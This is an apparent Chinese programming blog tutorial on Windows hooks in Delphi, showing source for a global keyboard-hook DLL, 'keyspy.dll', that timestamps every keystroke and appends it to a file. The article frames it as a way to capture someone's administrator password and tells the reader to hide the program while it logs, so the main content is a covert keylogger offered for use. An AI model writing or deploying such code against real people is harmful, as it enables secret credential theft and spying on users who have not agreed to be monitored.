• 注册
  • 关于作者
    企业认证:趣记站长
    关注 6 粉丝 4 喜欢 9 内容 992
    江西省·南昌市
    聊天 送礼
    • 查看作者
    • Delphi编程使用HOOK监视Windows

          每个程序都有自己的生存空间,在Windows系统中你可以在任何时候让你的程序执行一些操作,还可以触发消息,触发的消息分为三种,一是操作你程序的界面,onClick,onMouseMove等等,另外一个可以使用Windows的消息机制来捕获一些系统消息,但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了,虽然还有其他方法,但不得不承认,HOOK是一个比较简单解决问题的途径。

        下面就来举个例子(使用Delphi7.0调试通过):

        如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,

      Delphi实现网页表单数据的自动提交
      基于Delphi的屏幕抓图技术的实现,Delphi中数据的自动录入,Delphi编程:用流来读取TXT文件中的数据,使用Delphi创建IIS虚拟目录的方法,Delphi初学者应小心的六大陷阱,Delphi“判断服务器路径”与“清空日志文件”,利用VFW在Delphi中开发视频捕获程序,Delphi实现网页表单数据的自动提交,Delphi编程使用HOOK监视Windows,Delphi编程禁止用户关闭操作系统,Delphi中利用钩子实现QQ聊天窗口的修改,一个判断定文件是否为文本文件的函数,把Flash文件转换为Exe文件,用Delphi实现文件下载的几种方法,Delphi中保存图像列表,基于Delphi的接口编程入门,在Delphi中使用CreateOleObject方法对WORD文件进行操作,利用Delphi开发旅游景点微机售票系统,Delphi中用ICMP探测远程主机状态,Delphi7对XML的支持分析
      Delphi

      但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?

        首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。

        写个DLL定义一下函数

      function setkeyhook:bool;export;

      function endkeyhook:bool;export;

      procedure keyhookexit;far;

      procedure SetMainHandle(Handle: HWND); export;forward;

      function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;

      procedure EntryPointProc(Reason: Integer);

       const

        hMapObject: THandle = 0;

       begin

        case reason of

         DLL_PROCESS_ATTACH:

        begin

         hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’);

         rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);

        end;

        DLL_PROCESS_DETACH:

       begin

       try

        UnMapViewOfFile(rHookRec);

        CloseHandle(hMapObject);

        except

       end;

      end;

      end;

      end;

      procedure keyhookexit;far;

      begin

      if hNexthookproc<>0 then endkeyhook;

       exitproc:=procsaveexit;

      end;

      function endkeyhook:bool;export;

      begin

      if hNexthookproc<>0 then

      begin

       unhookwindowshookex(hNexthookproc);

       hNexthookproc:=0;

       messagebeep(0);

      end;

      result:=hNexthookproc=0;

      MainHandle:=0;

      end;

      function Setkeyhook:bool;export;

      begin

       hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);

       result:=hNexthookproc<>0;

      end;

      function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;

      var

       s:Tstringlist;

      begin

       if icode<0 then

       begin

        result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);

        exit;

       end;

       if lparam<0 then

       begin

        exit;

       end;

       s:=TStringlist.Create;

       if FileExists(afilename) then

        s.LoadFromFile(afilename);

        //将敲打的键盘字符保存到文件中

        s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) );

        s.SaveToFile(afilename);

        s.Free;

        result:=0;

       end;

      Dll的Project文件中定义如下

      exports

      setkeyhook index 1,

      endkeyhook index 2,

      SetMainHandle index 3;

      begin

      hNexthookproc:=0;

      procsaveexit:=exitproc;

      DllProc := @EntryPointProc;

      EntryPointProc(DLL_PROCESS_ATTACH);

      end.  

        这样DLL就定义好了,接下来就是画个界面:

      function setkeyhook:bool;external ’keyspy.dll’;

      function endkeyhook:bool;external ’keyspy.dll’;

      procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’;

      //开始捕获键盘

      SetMainHandle(handle);

      setkeyhook

      //中止捕获键盘

      endkeyhook  

        然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。

        另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows API来配合,通过很多技巧作出让人意想不到的效果。

      Delphi实现网页表单数据的自动提交
      基于Delphi的屏幕抓图技术的实现,Delphi中数据的自动录入,Delphi编程:用流来读取TXT文件中的数据,使用Delphi创建IIS虚拟目录的方法,Delphi初学者应小心的六大陷阱,Delphi“判断服务器路径”与“清空日志文件”,利用VFW在Delphi中开发视频捕获程序,Delphi实现网页表单数据的自动提交,Delphi编程使用HOOK监视Windows,Delphi编程禁止用户关闭操作系统,Delphi中利用钩子实现QQ聊天窗口的修改,一个判断定文件是否为文本文件的函数,把Flash文件转换为Exe文件,用Delphi实现文件下载的几种方法,Delphi中保存图像列表,基于Delphi的接口编程入门,在Delphi中使用CreateOleObject方法对WORD文件进行操作,利用Delphi开发旅游景点微机售票系统,Delphi中用ICMP探测远程主机状态,Delphi7对XML的支持分析
      Delphi

    • 0
    • 0
    • 0
    • 89
    • 单栏布局 侧栏位置: